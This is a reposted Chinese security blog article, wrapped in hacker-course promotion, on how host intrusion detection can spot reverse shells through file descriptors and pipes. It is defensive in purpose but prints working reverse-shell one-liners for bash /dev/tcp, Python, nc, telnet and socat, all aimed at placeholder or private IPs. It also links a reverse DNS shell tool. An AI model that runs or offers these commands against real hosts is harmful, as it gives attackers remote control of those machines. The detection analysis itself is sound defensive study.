零基础黑客教程,黑客圈新闻,安全面试经验
尽在 # 暗网黑客教程 #
一
前言
本文主要探究一下主机反弹shell有哪些特征,为HIDS检测主机反弹shell行为提供一些思路。
二
类型一
bash反弹
bash -i >& /dev/tcp/ip/port 0>&1
都会被转发至 ip:port 对应的远程设备
执行结果定向至远程,形成一个回路,也就是交互式shell。
可以看到正常情况下文件描述符指向/dev/pts/0(因为linux下一切皆文件,这个文件就代表伪终端或虚拟终端)而反弹shell的情况下文件描述符都是指向远程socket链接,同时用户可能是www、www-data、apache、nginx等用户
shell会继承父进程的文件描述符,因此所有的shell都会默认有这三个文件描述符
以后再打开文件,描述符依次增加(0,1,2分别代表标准输入,标准输出和标准错误输出)
python反弹
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
perl反弹
nc反弹shell
nc -e /bin/bash 127.0.0.1 7777
三
类型二
基本例子
下面看一下另一种类型,不同进程之间通过管道相连接,最后通过多次管道定向至bash的输入输出。
随便举个简单例子nc通过管道将远程的输入流定向至/bin/bash
/bin/nc.traditional 10.211.55.2 7777 | /bin/bash
命令的意思是接受来自远程的数据通过管道作为bash的输入
lsof命令看到0也就是标准输入是来自管道,通过id追踪到管道另一端的进程
pipe是创建管道(匿名)的函数,管道(匿名)是内核中的一个单向数据通道,管道有一个读端和一个写端。一般用于父子进程之间的通信。
fifo是命名管道也被称为FIFO文件,它是一种特殊类型的文件,它在文件系统中以文件名的形式存在(因为多个进程要识别),它的行为却和之前匿名管道类似(一端读一端写),但是FIFO文件也不在磁盘进行存储。一般用于进程间的通信。
nc
输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
telnet反弹shell
mknod a p; telnet 10.211.55.2 7777 0<a | /bin/bash 1>a
telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555
四
类型三
socat反弹shell
可以看作是netcat增强版,Ubuntu下默认不预装
反弹命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999监听命令
socat file:`tty`,raw,echo=0 tcp-listen:9999
补充:SOCK_DGRAM 是无保障的面向消息的socket,主要用于在网络上发广播信息。
可以看出这种类型与上两种是有区别的bash通过管道与socat进程通信,但是管道并不是重定向的标准输入输出、标准错误输出这三个流而是其他的流
然后在程序内部再将该pipe管道定向到0,1,2这三个文件描述符。
五
类型四
msf生成payload反弹shell
这里以生成python为例,其他例如php等原理上都一样,生成payload受害主机上执行。
lsof查看进程描述符的情况。
可以看到python开启了一个远程socket链接,但是没有任何pipe管道指向bash进程,查看msf生成的payload可知只是返回了一个相当于代码执行,并不是真正意义上的交互式shell。
反观其特征就是一个正常进程对外有一个socket链接,特征不足,这种并不好检测。
dns_shell&icmp_shell
https://github.com/ahhh/Reverse_DNS_Shell
正常shell走的是tcp或者udp协议,而他们走的是dns、icmp协议,在流量上做到了很好的伪装,但是在基于主机检测面前和上面的例子本质上是一样的。
六
总结
黑客教程~ 课件 靶场 ~ 限!时!免费!送!
长按识别二维码,即可限时免费报名课程。
点击在看~好文大家给一起看!👇
原文始发于微信公众号(白帽子左一):基于主机的反弹shell检测思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论